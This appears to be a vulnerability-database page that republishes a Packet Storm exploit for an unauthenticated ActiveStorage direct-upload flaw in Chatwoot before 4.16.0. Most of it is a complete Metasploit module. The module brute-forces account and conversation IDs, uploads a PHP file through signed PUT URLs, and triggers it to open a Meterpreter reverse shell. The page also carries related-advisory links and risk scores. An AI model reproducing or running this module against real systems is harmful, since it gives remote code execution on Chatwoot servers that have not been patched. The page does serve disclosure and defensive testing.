Lucene search
+L

Chatwoot 4.15.0 Unauthenticated ActiveStorage Direct Upload

🗓️ 04 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 9 Views

Unauthenticated authorization bypass in Chatwoot allows arbitrary ActiveStorage uploads.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-63765
1 Nov 202612:39
–githubexploit
attackerkb
attackerkb
CVE-2026-63765
23 Jul 202617:52
–attackerkb
circl
Circl
CVE-2026-63765
1 Nov 202613:07
–circl
cve
CVE
CVE-2026-63765
23 Jul 202617:52
–cve
cvelist
Cvelist
CVE-2026-63765 Chatwoot < 4.16.0 Unauthenticated ActiveStorage Direct Upload Arbitrary Blob Creation
23 Jul 202617:52
–cvelist
euvd
EUVD
EUVD-2026-48360
23 Jul 202617:52
–euvd
mend
Mend
CVE-2026-63765
23 Jul 202617:52
–mend
nvd
NVD
CVE-2026-63765
23 Jul 202619:17
–nvd
ptsecurity
Positive Technologies
PT-2026-64147
23 Jul 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2026-63765: Missing Authentication for Critical Function
23 Jul 202600:00
–rapid7
Rows per page
==================================================================================================================================
| # Title     : Chatwoot 4.15.0 Unauthenticated ActiveStorage Direct Upload                                                      |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.chatwoot.com/fr                                                                                      |
==================================================================================================================================

[+] Summary : unauthenticated authorization bypass in Chatwoot versions prior to 4.16.0.

[+] POC    : 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Chatwoot Unauthenticated ActiveStorage Direct Upload RCE',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability in Chatwoot
          versions prior to 4.16.0. The DirectUploadsController lacks the
          authenticate_user! guard, and ensure_current_account is short-circuited
          when current_user is nil. This allows unauthenticated attackers to create
          arbitrary ActiveStorage blobs and obtain signed PUT URLs to write arbitrary
          files to the application's storage backend.

          If the storage backend is served by a PHP-capable web server, the uploaded
          PHP payload can be executed, resulting in remote code execution.
        },
        'Author' => ['indoushka'],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-63765'],
          ['CWE', '306'],
          ['URL', 'https://github.com/n3chik/CVE-2026-63765'],
          ['URL', 'https://github.com/chatwoot/chatwoot/pull/15039']
        ],
        'DisclosureDate' => '2026-07-23',
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Targets' => [
          ['Automatic Target', {}]
        ],
        'Privileged' => false,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'RPORT' => 3000,
          'SSL' => false,
          'TARGETURI' => '/'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptInt.new('ACCOUNT_ID', [false, 'Account ID to target (default: brute force 1-20)']),
      OptInt.new('CONVERSATION_ID', [false, 'Conversation display_id (default: brute force 1-50)']),
      OptInt.new('MAX_ACCOUNT_ID', [true, 'Maximum account ID to brute force', 20]),
      OptInt.new('MAX_CONV_ID', [true, 'Maximum conversation ID to brute force', 50]),
      OptString.new('TARGETURI', [true, 'Base path to Chatwoot', '/'])
    ])
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })

    return CheckCode::Unknown('No response from server') unless res
    pair = find_vulnerable_pair
    if pair
      return CheckCode::Vulnerable("Account ID #{pair[0]}, Conversation ID #{pair[1]}")
    end

    CheckCode::Safe('No vulnerable direct_uploads endpoint found')
  end
  def exploit
    pair = nil
    if datastore['ACCOUNT_ID'] && datastore['CONVERSATION_ID']
      pair = [datastore['ACCOUNT_ID'], datastore['CONVERSATION_ID']]
      print_status("Using provided pair: account=#{pair[0]}, conv=#{pair[1]}")
    else
      print_status('Scanning for vulnerable (account_id, conversation_id) pair...')
      pair = find_vulnerable_pair
      unless pair
        fail_with(Failure::NotFound, 'No vulnerable pair found. Target may be patched or not Chatwoot.')
      end
    end
    account_id, conv_id = pair
    print_good("Found vulnerable pair: account=#{account_id}, conversation=#{conv_id}")

    payload_data = payload.encoded
    filename = "#{Rex::Text.rand_text_alpha(8)}.php"
    content_type = 'application/x-httpd-php'
    checksum = Base64.strict_encode64(Digest::MD5.digest(payload_data))

    blob_payload = {
      'blob' => {
        'filename' => filename,
        'byte_size' => payload_data.length,
        'checksum' => checksum,
        'content_type' => content_type
      }
    }

    upload_uri = normalize_uri(
      target_uri.path,
      'api', 'v1', 'accounts', account_id.to_s,
      'conversations', conv_id.to_s, 'direct_uploads'
    )

    print_status("Creating blob via #{upload_uri}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => upload_uri,
      'ctype' => 'application/json',
      'data' => JSON.generate(blob_payload)
    })

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Blob creation failed: HTTP #{res&.code}")
    end

    begin
      blob_json = JSON.parse(res.body)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Invalid JSON response from blob creation')
    end

    unless blob_json['direct_upload'] && blob_json['direct_upload']['url']
      fail_with(Failure::UnexpectedReply, 'No direct_upload URL in response. Target may be patched.')
    end

    signed_id = blob_json['signed_id']
    disk_key = blob_json['key']
    put_url = blob_json['direct_upload']['url']
    put_headers = blob_json['direct_upload']['headers'] || {}

    print_good("Blob created: signed_id=#{signed_id}")
    print_status("Storage key: #{disk_key}")
    print_status('Uploading payload via signed PUT URL...')
    put_headers['Content-Type'] = content_type
    put_headers['Content-MD5'] = checksum

    res = send_request_cgi({
      'method' => 'PUT',
      'uri' => put_url,
      'data' => payload_data,
      'headers' => put_headers
    }, 30)

    unless res && [200, 201, 204].include?(res.code)
      fail_with(Failure::UnexpectedReply, "Payload upload failed: HTTP #{res&.code}")
    end

    print_good("Payload uploaded successfully (HTTP #{res.code})")
    shell_urls = []
    redirect_uri = normalize_uri(
      target_uri.path,
      'rails', 'active_storage', 'blobs', 'redirect',
      signed_id, filename
    )

    print_status("Checking redirect route: #{redirect_uri}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => redirect_uri
    }, 10)

    if res && res.code == 200 && res.body == payload_data

      if res.redirection
        shell_urls << res.redirection.to_s
      else
        shell_urls << full_uri(redirect_uri)
      end
      print_good("Payload accessible at: #{shell_urls.last}")
    end

    if disk_key
      candidates = [
        normalize_uri(target_uri.path, 'storage', disk_key),
        normalize_uri(target_uri.path, 'rails', 'active_storage', 'disk', disk_key) + "?filename=#{filename}"
      ]

      candidates.each do |candidate|
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => candidate
        }, 10)

        if res && res.code == 200
          shell_urls << full_uri(candidate)
          print_good("Payload accessible at: #{shell_urls.last}")
          break
        end
      end
    end

    if shell_urls.empty?
      fail_with(Failure::Unknown, 'Payload uploaded but no accessible URL found. Check storage configuration.')
    end
    shell_url = shell_urls.first
    print_status("Executing payload at: #{shell_url}")
    send_request_cgi({
      'method' => 'GET',
      'uri' => shell_url
    }, 5)

    print_good('Payload triggered. Check your handler for a session.')
    print_warning("If no session appears, verify that #{shell_url} is executable by the web server.")
  end

  private

  def find_vulnerable_pair
    max_a = datastore['MAX_ACCOUNT_ID']
    max_c = datastore['MAX_CONV_ID']
    probe_blob = {
      'blob' => {
        'filename' => 'probe.txt',
        'byte_size' => 5,
        'checksum' => Base64.strict_encode64(Digest::MD5.digest('probe')),
        'content_type' => 'text/plain'
      }
    }

    (1..max_a).each do |a|
      (1..max_c).each do |c|
        uri = normalize_uri(
          target_uri.path,
          'api', 'v1', 'accounts', a.to_s,
          'conversations', c.to_s, 'direct_uploads'
        )

        res = send_request_cgi({
          'method' => 'POST',
          'uri' => uri,
          'ctype' => 'application/json',
          'data' => JSON.generate(probe_blob)
        }, 10)

        next unless res

        if res.code == 200
          begin
            body = JSON.parse(res.body)
            if body['direct_upload'] && body['direct_upload']['url']
              return [a, c]
            end
          rescue JSON::ParserError
            next
          end
        elsif res.code == 401
          vprint_status("Account #{a} conv #{c}: 401 (patched)")
        end
      end
    end
    nil
  end
end
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Nov 2026 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 3.18.2
CVSS 48.8
EPSS0.00481
SSVC
9